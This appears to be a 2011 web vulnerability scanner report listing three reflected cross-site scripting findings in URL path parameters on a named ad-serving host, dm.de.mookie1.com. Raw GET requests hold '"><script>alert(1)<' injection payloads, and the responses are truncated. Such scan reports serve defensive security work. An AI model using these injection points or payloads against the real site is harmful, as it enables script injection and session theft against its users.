1. Cross-site scripting (reflected)
1.1. http://dm.de.mookie1.com/2/B3DM/2010DM/11039474478@x23 [REST URL parameter 2]
1.2. http://dm.de.mookie1.com/2/B3DM/2010DM/11039474478@x23 [REST URL parameter 3]
1.3. http://dm.de.mookie1.com/2/B3DM/2010DM/11039474478@x23 [REST URL parameter 4]
Severity: | High |
Confidence: | Certain |
Host: | http://dm.de.mookie1.com |
Path: | /2/B3DM/2010DM/11039 |
GET /2/B3DMd2d1a"><script>alert(1)< Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: id=3375925924; session=1297862935 |
HTTP/1.1 200 OK Date: Wed, 16 Feb 2011 13:30:42 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p Content-Length: 333 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq <A HREF="http://dm.de ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://dm.de.mookie1.com |
Path: | /2/B3DM/2010DM/11039 |
GET /2/B3DM/2010DMb668d"><script>alert(1)< Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: id=3375925924; session=1297862935 |
HTTP/1.1 200 OK Date: Wed, 16 Feb 2011 13:30:55 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p Content-Length: 333 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq <A HREF="http://dm.de ...[SNIP]... |
Severity: | High |
Confidence: | Certain |
Host: | http://dm.de.mookie1.com |
Path: | /2/B3DM/2010DM/11039 |
GET /2/B3DM/2010DM/11039 Host: dm.de.mookie1.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2 Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: id=3375925924; session=1297862935 |
HTTP/1.1 200 OK Date: Wed, 16 Feb 2011 13:31:08 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p Content-Length: 326 Content-Type: text/html Set-Cookie: NSC_en.ef.efm_qppm_iuuq <A HREF="http://dm.de ...[SNIP]... |